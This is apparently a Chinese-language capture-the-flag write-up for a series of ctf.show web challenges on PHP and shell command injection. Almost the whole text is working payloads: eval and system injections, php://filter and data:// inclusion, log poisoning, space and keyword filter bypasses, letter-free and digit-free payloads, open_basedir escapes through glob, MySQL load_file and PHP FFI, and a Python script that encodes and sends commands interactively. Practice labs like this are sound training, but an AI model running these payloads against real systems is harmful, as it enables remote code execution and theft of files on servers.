web 29
get传入c的值,只要没有flag,就会被加到eval中被执行
?c=system('tac f*.php');
web 30
增加了对system和php进行了过滤
直接使用passthru绕过
?c=passthru('tac f*.p*');
使用shell_exec配合echo绕过
?c=echo shell_exec('tac f*');
使用反引号配合echo绕过
?c=echo `tac f*`;
也可以再次使用eval套入,再通过get传入值,这个值就不会再经过检测了
?c=eval($_GET[1]);&1=system('tac flag.php');
web 31
增加过滤了cat, sort,shell
30中除了shell_exec不能使用,其他还是都能绕过的
web 32
增加过滤了.
空格
'
` echo
;
(
那么上面的是都用不了了,但是include还是可以使用的,可以包含flag
/?c=include$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php
web 33
增加过滤了双引号,还是没有过滤掉include,文件包含可以继续
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 34
增加过滤了冒号,但是因为我们伪协议部分是get传入的参数,并不进行过滤,仍然可以使用之前的payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 35
增加过滤了左尖括号和等于号
但还是不影响之前的payload,因为还是可以使用右尖括号闭合
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 36
增加过滤了数字
把1换成a试一下
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web 37
将eval改成了include,并且过滤了flag关键字,也就是直接包含文件了,那么我们可以包含到日志文件,然后UA写入一句话,然后再对一句话传参就可以读到文件
?c=/var/log/nginx/access.log&1=system('tac flag.php');phpinfo();
也可以使用data协议绕过
?c=data:///,<?=`tac f*.php`?>
使用php:input
也可以
?c=php://input
web 38
增加过滤了php和file,并不影响使用data协议
?c=data:///,<?=`tac f*.*`?>
也可以使用包含日志
?c=/var/log/nginx/access.log&1=system('tac flag.php');phpinfo();
web 39
只过滤了flag,并且不会将flag输出,而且对$c强制加了.php后缀
其实并没有什么影响,因为我们传入的代码已经闭合
还是可以使用data协议的,当然也可以包含日志
?c=data:///,<?=`tac f*.*`?>
web 40
过滤了很多字符,之前的方法应该都不行了
方法一:
可以通过get_defined_vars()函数获取到变量
next()选择到我们传入的变量
array_pop()弹出并获取变量值
然后再使用eval执行
?c=eval(array_pop(next(get_defined_vars())));
post传入一句话就可以被执行
1=phpinfo();
方法二:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(getcwd()))));
get_defined_vars() 返回所有已定义的变量的多维数组
localeconv() 返回包含本地化数字和 货币格式信息
getcwd() 返回当前的目录
scandir() 扫描目录
array_reverse() 数组逆置
next() 将数组指针指向下一个
show_source() 查看源码
current()和pos() 返回当前元素的值,不改变指针
reset() 将数组指针指向第一个元素,并输出
prev() 将数组指针指向上一个元素,并输出
end() 将数组指针指向第一个元素,并输出
each() 将数组指针指向下一个元素,并输出
web 41
POST传参,并且过滤了所有数字和字母,以及常见特殊符号,并没有过滤空格和分号
根据提示,可以使用或运算,来构造函数名
经过尝试
('phpinfo')();
这种方式再php7.3.4的版本中是合法的,但是在5.5.9中不合法
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。
而在这一关是php7的版本,所以我们就可以通过或运算来拼接一个函数名称并执行
根据提示中羽师傅提供的脚本来做这道题,因为我们要使用的字符有些无法在输入法中打出了,所以需要通过python脚本发送数据包,我根据羽师傅的脚本和aninock师傅的脚本修改了一下,更加参数化
使用方法:
python or_rce_exp.py <url> <pattern>
import re
import requests
from sys import *
# 未被过滤的字符的ascii码集合
t = []
# 这个脚本的目的是把所有未过滤的字符都添加到a列表里
def init_grep(pattern):
for i in range(0, 256):
c = chr(i)
tmp = re.match(pattern, c, re.I)
if (tmp):
continue
# print(tmp.group(0))
else:
t.append(i)
# 传入字符串,将字符串替换成可经过或运算替换的结果,并将两个需要或运算的字符串临时存入s1和s2中
def action(str):
s1 = ''
s2 = ''
for c in range(0, len(str)):
flag = False
for i in t:
for j in t:
if i | j == ord(str[c]) and flag == False:
flag = True
s1 += chr(i)
s2 += chr(j)
# print(i)
# print(j)
# r = i | j
# print(chr(r))
# print("-" * 10)
break
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
# print(output)
return output
if __name__ == '__main__':
if len(argv) != 3:
print("=" * 50)
print('USER:python exp.py <url> <pattern>')
print("eg: python exp.py http://ctf.show/ '/[0-9]|[a-z]/i'")
print("=" * 50)
exit(0)
# 向url发送数据
url = argv[1]
# 正则匹配表达式
pattern = argv[2]
init_grep(pattern)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': param
}
# print(data)
res = requests.post(url=url, data=data)
print(res.text)
web 42
2>&1
将标准错误重定向到标准输出
/dev/null
相当于黑洞,
可以分号绕过
?c=tac flag.php;ls
这样将第二条命令写入黑洞了,第一条命令就会输出了
web 43
增加过滤了分号和cat,可以用其他的换行符进行绕过,%0a可以 %0b、%0c、%0d都不可以
?c=tac flag.php%0a
web 44
增加过滤了flag
?c=tac f*.php%0a
web 45
增加过滤了空格,可以使用tab进行绕过,%09
?c=tac%09f*.php%0a
web 46
增加过滤了数字,$
*
也就是*通配符不能使用了,还可以使用?
?c=tac%09f???.php%0a
这里虽然有数字,但是url解码之后就没有数字了,并不会被过滤
web 47
增加过滤了more、less、head、sort、tail
这些其实都是查看文件内容的命令,并没有tac所有还是可以使用之前的payload
?c=tac%09f???.php%0a
web 48
增加过滤了sed、cut、awk、strings、od、curl,这写也都是与查看文件相关的命令
还是没有tac,过滤的很多也没过滤全
?c=tac%09f???.php%0a
web 49
还是没有tac
?c=tac%09f???.php%0a
web 50
没有过滤tac,但是把%09过滤掉了,没有了空格,可以尝试用下面这个姿势
?c=tac<fla''g.php%0a
也就是将文件内容重定向到tac命令中,就避免使用了空格
web 51
tac终于是被过滤了,还有什么可以查看文件的呢?nl命令
?c=nl<fla''g.php%0a
web 52
不能用尖括号了,但是可以使用$符号 ${IFS}
相当于空格
?c=nl${IFS}fl''ag.php%0a
打开发现flag并不在这个flag.php中,寻找其他的地方有没有flag,发现是根目录下的flag文件
?c=nl${IFS}/fl''ag%0a
web 53
直接用${IFS}替换空格就可绕过
?c=nl${IFS}fl''ag.php
web 54
没有过滤mv,可以将flag.php重命名为a.txt,然后再查看1.txt就可以
mv${IFS}fla?.php${IFS}a.txt
web 55
这个是无字母数字的命令执行,看了WP,总结一下
- 没有过滤点,点在linux命令中可以执行脚本
- php在接收到文件时候,会先将文件上传到临时目录中,再看之后代码的操作对文件处理,一般路径 /tmp/php?????? ,在上传过程中,我们通过对该临时文件的读取执行达到执行命令的目的,这属于条件竞争
因为是条件竞争,所以在我们读取的时候,有可能文件已经被删除,只要多尝试发送几次请求就会有结果
web 56
这次把数字也过滤了,还是上一关的方法
web 57
提示flag在36.php,所以我们就需要使用没有过滤的字符来构造数字
$(()) 和$[]都是进行数学运算的
使用$(())进行构造数字
$(()) = 0
$((~$(()))) = -1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
$[~$[]] = -1
$[~$[$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]]]
因为中括号被过滤了,所以用第一种就可以绕过
web 58
说是函数被禁用了,看看有啥
phpinfo()、system()、shell_exec()、exec()、passthru()、popen()、proc_open()、反引号也不行
可以include,
也可以file_get_contents()读取文件内容
c=echo file_get_contents("flag.php");
web 59
file_get_contents()也被禁用了
查一查php中还有什么读取文件和函数
file()函数,可以将整个文件读入一个数组中。然后将变量输出就得到了flag
c=echo var_dump(file('flag.php'));
web 60
c=show_source('flag.php');
web 61
还有什么可以用的函数么
show_source() 直接查看源码
c=show_source('flag.php');
highlight_file()
c=highlight_file('flag.php');
readfile() 这关被禁用了
web 62
c=show_source('flag.php');
还可以怎么做呢,可以包含文件,我们也知道需要包含的是flag.php,并且flag保存在一个$flag变量中,所以。
c=include'flag.php';echo $flag;
web 63
c=include'flag.php';echo $flag;
web 64
c=include'flag.php';echo $flag;
web 65
c=include'flag.php';echo $flag;
web 66
flag换地方了,$flag="秀秀得了,这次不在这里";
那么我们尝试查看一下目录,这里就需要用到scandir()
c=print_r(scandir('/'));highlight_file('/flag.txt');
web 67
highlight_file('/flag.txt');
web 68
c=include"/flag.txt";
web 69
c=include"/flag.txt";
web 70
c=include"/flag.txt";
web 71
给了index.php文件
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
ob_get_contents() 返回输出缓冲区的内容
ob_end_clean() 函数删除最顶层的输出缓冲区及其所有内容,而不向浏览器发送任何内容。
也就是提前把缓冲区的内容读到$s中,再清除缓存不向浏览器输出,但是却输出经过过滤的$s
我们可以在执行完eval函数,就退出php程序
c=include"/flag.txt";exit();
web 72
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
没有找到flag.txt文件,扫描目录看看
报错Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1
open_basedir作用就是指定目录位置,限制了PHP 所能打开的文件限制在指定的目录树
如何绕过open_basedir搜索文件呢?
可以使用glob伪协议,是php从5.3.0版本开始的一个筛选目录的伪协议,它不受open_basedir制约,代码如下
$a="glob:///*.txt";
if ($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit(); // 这个起到绕过后面代码执行的作用
查到flag应该在根目录下的flag0.txt文件
使用wp中的uaf脚本绕过
web 73
继续用上一个的glob协议查看一下flag的位置在 /flagc.txt
c=include('/flagc.txt');exit();
看来这关是没有开启open_basedir的
web 74
使用glob伪协议搜索文件,flag在 /flagx.txt
c=include('/flagx.txt');exit();
web 75
flag在/flag36.txt
c=include('/flag36.txt');exit();
不行了,又开启了open_basedir
根据提示,使用mysql数据库去读取文件,这里就需要用到PDO
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
web 76
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
web 77
flag在/readflag
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36x.txt")') as $row) {
echo($row[0])."|";
}$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
could not find driver?这个打不通了
使用这个php新特性绕过,PHP FFI
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
创建一个system对象,通过$ffi去调用system函数,执行命令将/readflag文件重定向到1.txt
web 118
输入非法的字符就会回显 evil input
使用python脚本测试一下过滤了哪些字符
import requests
url = 'http://2e2fc281-90fa-4919-b058-8534e638d55a.challenge.ctf.show/'
chars = []
for i in range(1, 128):
data = {
'code': chr(i)
}
res = requests.post(url=url, data=data)
if not res.text.find("evil input") > 0:
print(chr(i) + '\n')
chars.append(chr(i))
print(f"没有过滤的字符如下: {chars}")
['\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '#', '$', '.', ':', ';', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '_', '{', '}', '~', '\x7f']
我们可以通过构造系统变量来获得我们需要使用的字符
${PATH:~A}${PWD:~A} ????.???
${PATH:~A}
表示$PATH的最后一位 也就是/bin的最后一位 n
${PWD:~A}
表示$PWD的最后一位 也就是/var/www/html的最后一位 l
web 119
跑脚本看了一下未过滤字符,还是和118一样
['\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '#', '$', '.', ':', ';', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '_', '{', '}', '~', '\x7f']
但是刚才的方式不行了,应该是nl不能使用了
那我们构造一下cat试试
${#PWD}
表示字符串长度 ,#
是一个特殊字符,表示返回变量的长度。
${#SHLVL}=1
PHP_VERSION=7.3.22
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
构造出的payload即为 /???/?at ????.???
web 120
原理还是通过环境变量里的参数构造payload,这里code不能大于65
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web 121
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
web 122
home没有被过滤
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web 124
base_convert(number,frombase,tobase) 将数字转换成对应进制的数字
dechex()函数用于将十进制转换成十六进制数
php7以上版本是支持动态拼接函数的,我们的思路就是通过数字的进制转换来构造字母
?c=$pi=base_convert(1751504350,10,36);
$sin=base_convert(784,10,36);
$pi($sin);
相当于system(ls),查到了flag就在flag.php文件中
system(tac flag.php),但是没有空格怎么办,,,构造一句话
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{cos});&abs=system&cos=ls;
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{cos});&abs=system&cos=tac flag.php;
Comments NOTHING